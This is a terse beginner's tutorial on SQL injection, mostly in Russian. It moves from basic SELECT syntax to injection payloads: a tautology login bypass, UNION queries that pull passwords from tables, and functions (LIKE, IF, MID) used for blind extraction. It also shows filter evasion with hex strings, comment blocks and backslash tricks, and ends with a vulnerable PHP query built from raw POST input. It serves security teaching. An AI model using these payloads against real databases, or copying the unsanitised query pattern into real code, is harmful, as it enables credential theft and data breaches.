SQLi for scrubz

Понятие таблиц и работа с ними
Database

Синтаксис
Ключевые слова в запросе
SELECT *column_name* FROM *table_name* WHERE *condition*

SELECT * FROM Коты WHERE Хозяин = "Саймон"
SELECT * FROM Коты WHERE Возраст > 1 AND Возраст < 5

Таблица: data
Столбцы: id, username, pass
Запрос: SELECT * FROM data WHERE id = '$text' AND id != 1
$text = ' or id = 1 --
Простейшая уязвимость

Таблица: data
Столбцы: id, username, pass
Запрос: SELECT username FROM data WHERE id = '$text' and id != 1 ;
$text = 1' UNION SELECT pass FROM data WHERE id = 1 --
How to UNION
$text = ' UNION SELECT pass FROM data WHERE id = 1 --

Таблицы: data, private_data
Столбцы: id, username, pass
Запрос: SELECT * FROM data WHERE id = 1 and id = '$text' ;
$text = ' UNION SELECT *,1 FROM data WHERE id = 1238 --

Функции
LIKE
SELECT username FROM users WHERE pass LIKE '%qwe%'
SELECT username FROM users WHERE pass LIKE '%qwe_'
IF
IF('pass' = 'pass', 1, 0)
IF((SELECT username FROM users WHERE id = 1) = 'admin', 1, 0)
IF((SELECT username FROM users WHERE id = 1) LIKE 'qwer%', 1, 0)
'%' - неопределённое кол-во символов
'_' - один символ

MID
MID(*value*, *number of starting symbol*, *hom many symbols*)
MID('value', 3, 2) = 'lu'
MID('value', 1, 1) = 'v'
CONCAT
CONCAT('lu', 'l') = 'lul'
SELECT id, CONCAT(username,' - ', pass) AS user_data
CONCAT('str1','str2',…,'strN') = 'str1str2...'

GROUP BY
SELECT * FROM users GROUP BY 1
SELECT * FROM users GROUP BY 2

Экранирование символов
Экранирование символов — замена в тексте управляющих символов на соответствующие текстовые подстановки
Payload:
$text = ' UNION SELECT * FROM users; -- ​
$text = \' UNION SELECT * FROM users; --
\ => \\
$text = \\' UNION SELECT * FROM users; --

Фильтрация символов
0x74657874 = text
SELECT * FROM users WHERE pass = 'text'
SELECT * FROM users WHERE pass = text
Ошибка при выполнении запроса: «Unknown column 'text' in 'where clause'»
SELECT * FROM users WHERE pass = 0x74657874
SELECT/**/*/**/FROM/**/users/**/WHERE/**/pass/**/=/**/0x74657874
/* - начало блока комментариев
*/ - конец блока комментариев

Определение уязвимости
Обычный и слепой метод
$name = $_POST['name'];
$query = "SELECT phone_number FROM users WHERE name = '$name'";
$result = mysql_query($query);
Real life example